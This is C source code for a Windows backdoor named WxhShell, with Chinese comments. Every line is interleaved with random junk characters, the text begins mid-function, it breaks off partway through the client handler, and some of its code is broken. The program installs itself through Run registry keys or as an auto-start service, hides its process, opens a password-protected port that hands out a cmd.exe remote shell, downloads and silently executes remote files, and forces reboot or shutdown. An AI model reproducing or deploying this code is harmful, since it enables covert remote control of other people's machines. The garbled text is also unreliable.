  // 关机 2eBA&t  
  case 'd': { c=T^)~$$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o(/(`/  
    if(Boot(SHUTDOWN)) 3e g<)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*,8 H&  
    else { sgn,]3AUq  
    closesocket(wsh); {&Fh$H!  
    ExitThread(0); wZECG-jr/  
    } b:}`O!UBw  
    break; ZTx~+'(  
    }  Y@S?0  
  // 获取shell RJ_ratKN*g  
  case 's': { <(Wa8PY2(  
    CmdShell(wsh); <M1XG7_I  
    closesocket(wsh); g& *pk5V>  
    ExitThread(0); X]Emz"   
    break; 3?vasL  
  } QJ ueU%|  
  // 退出 cmIAWFj-)e  
  case 'x': { Hize m!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J(\"\Z  
    CloseIt(wsh); u|=G#y;3  
    break; eYurg6Ob~  
    } q)ygSOtj  
  // 离开 )-9G*3  
  case 'q': { KsGSs9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V X<ZB +R  
    closesocket(wsh); b+NF: -fO  
    WSACleanup(); v?yHj-  
    exit(1); )T:{(v7 d`  
    break; ]rDf3_!m(  
        } h@72eav3+  
  } $;_'5`xs  
  } ,$habq=;  
m%$z&<!  
  // 提示信息 ^ b`}g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x,js}Mlw  
} >qjr7 vx  
  } #(jozl_8  
ih?_ fW  
  return; +0=u]  
} EvMhNq~y5  
w.cQ|_  
// shell模块句柄 vL13~q*F  
int CmdShell(SOCKET sock) }}?L'Vby  
{ OxqbHe  
STARTUPINFO si; :YB:)wV,P  
ZeroMemory(&si,sizeof(si)); ML0o :8Bd\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e:V(kzAY;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^\cB&<h  
PROCESS_INFORMATION ProcessInfo; <>f  
char cmdline[]="cmd"; M%:ACLYP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' %OQd?MhL  
  return 0; }VE[W  
} `"M=ZVk  
A==P?,RG  
// 自身启动模式 >#R<*?*D}  
int StartFromService(void) ~\K+)(\SNp  
{ 0z."6 r  
typedef struct J W&/l  
{ >.PLD} zE_  
  DWORD ExitStatus; Q/iaxY#  
  DWORD PebBaseAddress; mqk~Pno|<  
  DWORD AffinityMask; KMznl=LF  
  DWORD BasePriority; (@O F Wc"p  
  ULONG UniqueProcessId; Y.@ vdW  
  ULONG InheritedFromUniqueProcessId; 7I`e5\ u  
}   PROCESS_BASIC_INFORMATION; /Z>#lMg\.  
4D[W;4/p  
PROCNTQSIP NtQueryInformationProcess; -) $$4<L  
=4yME  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d>  Y9g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; au5 74tj  
:n>m">4  
  HANDLE             hProcess; XN]kNJX  
  PROCESS_BASIC_INFORMATION pbi; :SSe0ZZ_6b  
J']1^"_'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &oYX093di  
  if(NULL == hInst ) return 0; /g'F+{v  
ro6peUL*2`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uKh),@JV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]BCH9%zLj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gOO\` #  
.0#?u1gXsX  
  if (!NtQueryInformationProcess) return 0; B4GgR,P@S  
~tDV{ml  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TeG5|`t],  
  if(!hProcess) return 0; "VkraB.i  
$t-HJ<!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .BlGV2@^#  
T\b e(@r  
  CloseHandle(hProcess); tp_*U,  
]gkI:scPA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h5x FP  
if(hProcess==NULL) return 0; pF#nj`L  
'(kGc%  
HMODULE hMod; I9ubVcV8  
char procName[255]; 2@1A,  
unsigned long cbNeeded; 3yDa5q{  
[1dlV/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RMmDcvM"k  
# o)a`,f  
  CloseHandle(hProcess); N4}/n  
Z|uUE   
if(strstr(procName,"services")) return 1; // 以服务启动 \8=>l?P  
!u~( \ Rb;  
  return 0; // 注册表启动 n'1pNL:  
} 28LjQ!  
a~7`;Ar  
// 主模块 U9IN#;W  
int StartWxhshell(LPSTR lpCmdLine) Gu|}ax"  
{ p-y,OG  
  SOCKET wsl; nod?v2%   
BOOL val=TRUE; jUZ84Gm{  
  int port=0;  _*9eAeJ  
  struct sockaddr_in door; XJC|6"n  
PR{?l  
  if(wscfg.ws_autoins) Install(); d"Hh9O}6  
wvcG <sj  
port=atoi(lpCmdLine); ; @-7'%(C  
2ME3=C  
if(port<=0) port=wscfg.ws_port; PE|_V  
d>)*!l2,C  
  WSADATA data; 9EK5#_L[=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; STL_#|[RM  
8{@|M l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5pI2G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i(2s"Uww,  
  door.sin_family = AF_INET; tqAh &TW3+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7P?z{x':T  
  door.sin_port = htons(port); 0tC+?  
w=s:e M@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7*M+bZ`x  
closesocket(wsl); ckBcwIXlP&  
return 1; 8U*}D~%!  
} n87B[R  
x;99[C!$  
  if(listen(wsl,2) == INVALID_SOCKET) { +S5"4<  
closesocket(wsl); \d2Ku10v[  
return 1; YbND2 i  
} gb|C592R5C  
  Wxhshell(wsl); w{UVo1r:  
  WSACleanup(); fl!8\4  
g[0b>r7   
return 0; D1;H,  
- {>JF  
} {l%Of  
,H2[["1DH  
// 以NT服务方式启动  [:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i!LEA/"V  
{ Z[R E|l{  
DWORD   status = 0; =[FNZ:3  
  DWORD   specificError = 0xfffffff; 200/  
kKr7c4q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y>3Zh5=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3u^U\xB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yJ c#y   
  serviceStatus.dwWin32ExitCode     = 0; >_jT.d  
  serviceStatus.dwServiceSpecificExitCode = 0;  btJ:Wt}  
  serviceStatus.dwCheckPoint       = 0; $5jQm,V$K  
  serviceStatus.dwWaitHint       = 0; >Olg lUzA  
oa?bOm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <xKer<D %  
  if (hServiceStatusHandle==0) return; ) kfA5xi[  
WId"2W3M  
status = GetLastError(); NBwxN  
  if (status!=NO_ERROR) $d3al%Uo  
{ GF*8(2h2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X9K@mX  
    serviceStatus.dwCheckPoint       = 0; ) gYsg  
    serviceStatus.dwWaitHint       = 0; 0D+[W5TB  
    serviceStatus.dwWin32ExitCode     = status; F"1)y>2k  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7+0Kg'^+n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I} m\(TS-"  
    return; Z,^`R] 9  
  } OS;qb:;  
_HW~sz|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; epI&R)]   
  serviceStatus.dwCheckPoint       = 0; @e8b'w3  
  serviceStatus.dwWaitHint       = 0; 5I`j'j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3} @3pVS  
} c>#T\AEkF  
jNhiY  
// 处理NT服务事件,比如:启动、停止 h.d-a/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y3 {'s>O6  
{ r: ]t9y>$<  
switch(fdwControl) HT0VdvLw  
{ thy)J.<J  
case SERVICE_CONTROL_STOP: sG[v vm  
  serviceStatus.dwWin32ExitCode = 0; T2<?4^xN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {VtmQU? cJ  
  serviceStatus.dwCheckPoint   = 0; cVYDO*N2T  
  serviceStatus.dwWaitHint     = 0; dmI~$*  
  {  +:k Iq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b;G3&R]  
  } -c|dTZ8D)8  
  return; @M-i$ q[4  
case SERVICE_CONTROL_PAUSE: xl8=y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]rGZ  
  break; M3P\1  
case SERVICE_CONTROL_CONTINUE: yB0xa%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3tzb@T  
  break; %Hx8%G!  
case SERVICE_CONTROL_INTERROGATE: _uwM%M;  
  break; /~~aK2{^X~  
}; GOrDDp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v EppkS U1  
} -< D7  
@{N2I$%6  
// 标准应用程序主函数 `G7LM55  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]^j:}#R  
{ wX5Yo{  
fy]z<SPhVJ  
// 获取操作系统版本 Bn:" q N~  
OsIsNt=GetOsVer(); J<hqF4z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +yYxHIOZ(  
OH.^m6Z  
  // 从命令行安装 9 Rl-Jz8g  
  if(strpbrk(lpCmdLine,"iI")) Install(); WzG]9$v &  
omz%:'m`~  
  // 下载执行文件 j3>0oe!  
if(wscfg.ws_downexe) { DQ%bcXs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [hzw..?g  
  WinExec(wscfg.ws_filenam,SW_HIDE); r9MS,KG8  
} do,ZCn  
qLC_p)  
if(!OsIsNt) { &! i'Q;q  
// 如果时win9x,隐藏进程并且设置为注册表启动 !|4fww  
HideProc(); LX f r  
StartWxhshell(lpCmdLine); @jh\yjrW  
} ]JDKoA{S0  
else <14,xYpE  
  if(StartFromService()) 5i71@?q;  
  // 以服务方式启动  PL"u^G`  
  StartServiceCtrlDispatcher(DispatchTable); TwPp Z@  
else D)shWJRlvW  
  // 普通方式启动 )/4eT\=  
  StartWxhshell(lpCmdLine); a(.q=W  
&[ oW"Q{  
return 0; p+x}$&<|  
} 6=N!()s  
oF'_x,0  
pQ~Y7  
Ln-UN$2~F  
=========================================== M2Q*#U>6r  
L#huTKX}  
JG^fu*K  
$-^ ;Jl  
LV}Z[\?   
ohEIr2  
" ;]gj:6M  
+az=EF  
#include <stdio.h> 9 +1}8"~  
#include <string.h> #*;G8yV  
#include <windows.h> EBQ,Ypv  
#include <winsock2.h> s!73To}>  
#include <winsvc.h> :O?+Ywn  
#include <urlmon.h> UP<B>Y1a  
S?Y%}  
#pragma comment (lib, "Ws2_32.lib") oS>VN<  
#pragma comment (lib, "urlmon.lib") !LI 8Xk  
Yt]Y(  
#define MAX_USER   100 // 最大客户端连接数 d.e_\]o<@  
#define BUF_SOCK   200 // sock buffer 7a0T]  
#define KEY_BUFF   255 // 输入 buffer r..&6-%:N  
m!Y4+KTwD`  
#define REBOOT     0   // 重启 3A&: c/  
#define SHUTDOWN   1   // 关机 xg(* j[ff3  
hqDnmzG  
#define DEF_PORT   5000 // 监听端口 Mi^/`1  
m>FP&~2  
#define REG_LEN     16   // 注册表键长度 +HDfEo T  
#define SVC_LEN     80   // NT服务名长度 $I0&I[_LzK  
M4H~]Ftn  
// 从dll定义API JnE\z*NB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y.>1r7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z\[6 'R4.#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  E\5Cf2Ox  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bU4l|i;j  
%ztv.K(8  
// wxhshell配置信息 ]0o_- NI  
struct WSCFG { t~v_k\` {  
  int ws_port;         // 监听端口 E$"`|Df  
  char ws_passstr[REG_LEN]; // 口令 Sdzl[K/}  
  int ws_autoins;       // 安装标记, 1=yes 0=no yDapl(  
  char ws_regname[REG_LEN]; // 注册表键名 e6`g[Ap  
  char ws_svcname[REG_LEN]; // 服务名 6N\f>c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [AHoTlPZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R4_BP5+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pQ,|l$^m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W?H-Ng3E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f7_V ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9P1!<6mN\  
n@=D,'cn  
}; XpH d"(*  
dBm!`;r4  
// default Wxhshell configuration aN5"[&  
struct WSCFG wscfg={DEF_PORT, oUd R,;h9  
    "xuhuanlingzhe", )BeB xo7lv  
    1, -|DBO0q  
    "Wxhshell", %n{ue9  
    "Wxhshell", W0+m A  
            "WxhShell Service", <Z j>}  
    "Wrsky Windows CmdShell Service", @ JfQ}`  
    "Please Input Your Password: ", 'O^<i`8U]  
  1, *";O_ :C!  
  "http://www.wrsky.com/wxhshell.exe", k0bDEz.X  
  "Wxhshell.exe" +/>XOY|Ie  
    }; RW`+F|UbE  
Lk lD^AJA  
// 消息定义模块 /Ue_1Efa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [;Y*f,UG_-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ruU &.mZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $tqr+1P  
char *msg_ws_ext="\n\rExit."; _T.T[%-&=  
char *msg_ws_end="\n\rQuit."; frRO?  
char *msg_ws_boot="\n\rReboot..."; HVz|*?&6  
char *msg_ws_poff="\n\rShutdown..."; O77^.B  
char *msg_ws_down="\n\rSave to "; K+<F, P  
">FuCvQ  
char *msg_ws_err="\n\rErr!"; s 9n_s=w  
char *msg_ws_ok="\n\rOK!"; =3;~7bYO  
$DeVXW  
char ExeFile[MAX_PATH]; v*JXrB&x  
int nUser = 0; 8&wN9tPYZ  
HANDLE handles[MAX_USER]; BHf7\ +Ul  
int OsIsNt; h$)4%Fy  
-uei nd]  
SERVICE_STATUS       serviceStatus; P,<pG[^K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g[L}puN  
3~EPX`#[W  
// 函数声明 ne|N!!Dmk  
int Install(void); \Lg{GN.  
int Uninstall(void); PiJ >gDx  
int DownloadFile(char *sURL, SOCKET wsh); \C kb:  
int Boot(int flag); M@=VIrX,m  
void HideProc(void); AhU   
int GetOsVer(void); CHckmCgf4  
int Wxhshell(SOCKET wsl); AOM@~qyc   
void TalkWithClient(void *cs); tjJi|  
int CmdShell(SOCKET sock); av"dJm  
int StartFromService(void); |t6:4']  
int StartWxhshell(LPSTR lpCmdLine); z7!@^!r  
Gt$PBlq0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L2IY$+=M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p5Wz.n.<'  
b *Ca*!  
// 数据结构和表定义 f {j`d&|  
SERVICE_TABLE_ENTRY DispatchTable[] = ]D<3y IGS  
{ J'C%  
{wscfg.ws_svcname, NTServiceMain}, }k0B   
{NULL, NULL} bScW<DZJ-  
}; /s Bs eI  
XP(fWRT1  
// 自我安装 \:jJ{bl^A  
int Install(void) `zOn(6B;U  
{ -Mzm~@_s]  
  char svExeFile[MAX_PATH]; ,In}be$:  
  HKEY key; [j 'lB  
  strcpy(svExeFile,ExeFile); (5GjtFojY|  
AGV+Y 6  
// 如果是win9x系统,修改注册表设为自启动 BnU3oP  
if(!OsIsNt) { LAH.PcjPa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9'0v]ar  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !'(QF9%Q  
  RegCloseKey(key); -eFq^KP2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )E c /5=A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E`#/m@:|-  
  RegCloseKey(key); @n;$Edza/  
  return 0; yk/BQ|G  
    } e=Q{CsP  
  } ~\UAxB=  
} $ S]l%  
else { B *otqu z  
_ykT(`.#  
// 如果是NT以上系统,安装为系统服务 do DpTwvh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j>)yV@g/  
if (schSCManager!=0) r2=4Wx4(  
{ T:g=P@  
  SC_HANDLE schService = CreateService P;K <P  
  ( jg3T1ROL  
  schSCManager, IzlmcP3  
  wscfg.ws_svcname, &+")~2 +  
  wscfg.ws_svcdisp, H'?dsc  
  SERVICE_ALL_ACCESS, !Q=xIS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^oDSU7j5,  
  SERVICE_AUTO_START, 1q/Q@O  
  SERVICE_ERROR_NORMAL, <|;)iT1VeT  
  svExeFile, pwmH(94$0  
  NULL, -Q" N;&'[&  
  NULL, i\C~]K~O!  
  NULL, =2/[n8pSsM  
  NULL, .9!?vz]1  
  NULL S?u@3PyJm  
  ); y\mK?eR  
  if (schService!=0) z+]YB5zK%  
  { ok/{ w  
  CloseServiceHandle(schService); l {t! LTf;  
  CloseServiceHandle(schSCManager); yZY.B {  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jfjT::f>l  
  strcat(svExeFile,wscfg.ws_svcname); c=<5DC&p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z`x*Igf8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :|N(:W>=$Y  
  RegCloseKey(key); W$`p ,$.n  
  return 0; _$m1?DZ  
    } =-;J2Qlg6  
  } L+Q.y~  
  CloseServiceHandle(schSCManager); c4iGtW  
} @(any ^QJ  
} dCO)"]  
gUrXaD#  
return 1; a[7 Lqu  
} p* tAwl  
6MmkEU z  
// 自我卸载 5^Ps(8VbS  
int Uninstall(void) &5Huv?^a'  
{ t{Z:N']H  
  HKEY key; /EV _Y|(-  
O_^;wey0}?  
if(!OsIsNt) { frUO+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {xCqz0  
  RegDeleteValue(key,wscfg.ws_regname); 7 |Q;E|=-Y  
  RegCloseKey(key); LIfYpn6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R_B`dP<"~Y  
  RegDeleteValue(key,wscfg.ws_regname); Ax'o|RE)x  
  RegCloseKey(key); "w:?WS  
  return 0; !c;BOCqa  
  } c. 06Sw*  
} |`Iispn  
} .y>G/8_i  
else { x"{WLZ   
CQ:38l\`gd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Itv}TK eF  
if (schSCManager!=0) vu`,:/|h  
{ %)sG 34  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s'=w/os  
  if (schService!=0) r;8X6C  
  { |6!L\/}M%  
  if(DeleteService(schService)!=0) { /Gvd5  
  CloseServiceHandle(schService); ;}4^WzmK^(  
  CloseServiceHandle(schSCManager); UBM :.*wN  
  return 0; ( !0fmL  
  } tl^![Z  
  CloseServiceHandle(schService); y28 e=i  
  } #pr{tL  
  CloseServiceHandle(schSCManager); y\zRv(T=  
} wMU}EoGS?  
} OpFm:j3  
B-W8Zq#4>  
return 1; @h!nVf%fe  
} /7hC /!@  
'ARbJ1a  
// 从指定url下载文件 o>Q=V 0?  
int DownloadFile(char *sURL, SOCKET wsh) OtZc;c  
{ ;ji[ "b  
  HRESULT hr; r"&VG2c0K  
char seps[]= "/"; % jSB9  
char *token; UzT"Rb:e  
char *file; DgODTxiX  
char myURL[MAX_PATH]; N~+ e\K6  
char myFILE[MAX_PATH]; < m/@_"  
10{zF_9yx  
strcpy(myURL,sURL); KYR64[1  
  token=strtok(myURL,seps); :Hq#co  
  while(token!=NULL) Ih^ziDcW  
  { Z Z9D6+R  
    file=token; 9;R'Xo=y  
  token=strtok(NULL,seps); tWaM+W  
  } H,0Io  
Xsd+5="{N  
GetCurrentDirectory(MAX_PATH,myFILE); u:M)JG  
strcat(myFILE, "\\"); XxLauJP K  
strcat(myFILE, file); Y|~+bKa  
  send(wsh,myFILE,strlen(myFILE),0); D"8?4+  
send(wsh,"...",3,0); kn&>4/')  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T1i}D"H %  
  if(hr==S_OK) oyq9XW~ D  
return 0; I8Q!`K J  
else o e,yCdPs  
return 1; Xhp={p;  
$$e"[g  
} lky5%H  
M6XpauR-  
// 系统电源模块 \`Ow)t:  
int Boot(int flag) T':} p2}w+  
{ !U4<4<+  
  HANDLE hToken; jP}Ix8vc=  
  TOKEN_PRIVILEGES tkp; DE!c+s_g4  
}fh<LCwTi  
  if(OsIsNt) { q6EZ?bo{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); THY=8&x)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s5J?,xu  
    tkp.PrivilegeCount = 1; GGez!?E%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @@d6,=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &*# Obv  
if(flag==REBOOT) { W[t0hbV w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1h#e-Oyff  
  return 0; L)X[$:  
} bPVQ-  
else { v/x~L$[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R3hyz~\x&  
  return 0; PauF)p  
} &n~v;M  
  } /&+*X)#v  
  else { ;|pw;-  
if(flag==REBOOT) { U5ME`lN*`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 85qD~o?O  
  return 0; d[`vd^hI  
} +'{d^-( (  
else { GUC.t7!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ot;)zft  
  return 0; D\^\_r):  
} `rb}"V+  
} Zmz $ hr  
7UsU03  
return 1; #j4RX:T*[  
} &vN^ *:Q  
S#*aB2ZS  
// win9x进程隐藏模块 N"A`tc5&  
void HideProc(void) X=jHH=</  
{ 7x#."6>Dy  
w7Ij=!)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 11?d,6Jl  
  if ( hKernel != NULL ) #oJ%i+V  
  { T\w{&3ONm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }6!m Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _~bG[lX!  
    FreeLibrary(hKernel); mr>dZ)  
  } P (aN6)D  
>E9 k5  
return; YK>?;U+|  
} @:t2mz:^i  
L~E|c/  
// 获取操作系统版本 X+QoO=02LR  
int GetOsVer(void) sFw;P`  
{ g17 fge6%  
  OSVERSIONINFO winfo; O96%U$W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }U@(S>,%  
  GetVersionEx(&winfo); 9k;%R5(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wL[{6wL  
  return 1; m1Xc3=Y  
  else KJ cuZ."wX  
  return 0; FD/=uIXH2  
} @  \*Zq  
MG vp6/Pd  
// 客户端句柄模块 !md1~g$rN  
int Wxhshell(SOCKET wsl) 6 #k mV  
{ y wmC>`0p  
  SOCKET wsh; [:8+ +#KD  
  struct sockaddr_in client; ),XDY_9K  
  DWORD myID; uZa)N-=b2  
ht2J, 1t  
  while(nUser<MAX_USER) }aL&3[>>  
{ 0t%`jY~%  
  int nSize=sizeof(client); upiYo(sN.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3;F up4!4}  
  if(wsh==INVALID_SOCKET) return 1; ` >[Offhd  
cUr5x8<W).  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _ ($U\FW  
if(handles[nUser]==0) 7{p6&xXx  
  closesocket(wsh); ~p x2kHZ  
else L[tq@[(IJ  
  nUser++; lX64IvG8+o  
  } APyH.]mQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EN5F*s@r  
g\pLQH  
  return 0; \m#{ {SGm  
} 28>/#I9/]  
IQQ>0^Q~  
// 关闭 socket !:Ob3Mq\  
void CloseIt(SOCKET wsh) *iJ>@ vew  
{ 7A^L$TY  
closesocket(wsh); w d6+,B  
nUser--; 4e?MthJ>  
ExitThread(0); 7*>,BhF#  
} K{0 gkORF  
f@0Km^aUc  
// 客户端请求句柄 _8e0vi!~2  
void TalkWithClient(void *cs) GYtp%<<9;  
{ ] QJ7q}  
84/#,X!=s  
  SOCKET wsh=(SOCKET)cs; {bNVNG^  
  char pwd[SVC_LEN]; }(!3)k7*  
  char cmd[KEY_BUFF]; G%>M@nYUE  
char chr[1]; |xrnLdng0R  
int i,j; \lF-]vz*  
|y4j:`@.  
  while (nUser < MAX_USER) { /L=Y8tDt  
,8o Y(h  
if(wscfg.ws_passstr) { IU\h,Ug  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C0W-}H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \S>GtlQbn  
  //ZeroMemory(pwd,KEY_BUFF); d$y?py  
      i=0; 9yp'-RKjw  
  while(i<SVC_LEN) { 4P?@NJp  
bJ]blnH  
  // 设置超时 B1TWOl?d{  
  fd_set FdRead; D{6<,#P{w  
  struct timeval TimeOut; M=4`^.Ocm  
  FD_ZERO(&FdRead); T!-ly7-`  
  FD_SET(wsh,&FdRead); w[#*f?at~  
  TimeOut.tv_sec=8; c]NZG n*  
  TimeOut.tv_usec=0; JvYs6u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gnlU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;&XC*R+  
|}Z2YDwO/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4jW <*jM  
  pwd=chr[0]; KgXu x-q  
  if(chr[0]==0xd || chr[0]==0xa) { k0,]2R  
  pwd=0; "Iacs s0;  
  break; jXIVR'n(  
  } { T?1v*.[  
  i++; *mn"G K6  
    } 7=a e^GKo  
_% i!LyG  
  // 如果是非法用户,关闭 socket 0~e6\7={  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ehq [4}  
} |OIU)53A-  
w{ P l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); av~kF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cXK.^@du  
V^_U=Ed@M  
while(1) { #lF 2q w  
WTu!/J<\  
  ZeroMemory(cmd,KEY_BUFF); ,; n[_f  
lD$\t/8B  
      // 自动支持客户端 telnet标准   ,,G'Zur7  
  j=0; s3=sl WY=  
  while(j<KEY_BUFF) { r ?z}TtDp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ X5#?  
  cmd[j]=chr[0]; ~'N+O K  
  if(chr[0]==0xa || chr[0]==0xd) { zZP&`#TAy  
  cmd[j]=0; .>p.k*vU  
  break; 7h`t-6<!q  
  } Xt!wO W  
  j++; `o21f{1]X&  
    } nGxG!  
T-Yb|@4  
  // 下载文件 ]j]<CqG  
  if(strstr(cmd,"http://")) { Kxi@"<`S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 63kZ#5g(Dw  
  if(DownloadFile(cmd,wsh)) >]kZ2gVt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ow;a7  
  else s`=&l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,fvhP $n  
  } e^UUR-K%  
  else { (#+81 Dr  
y w:=$e5  
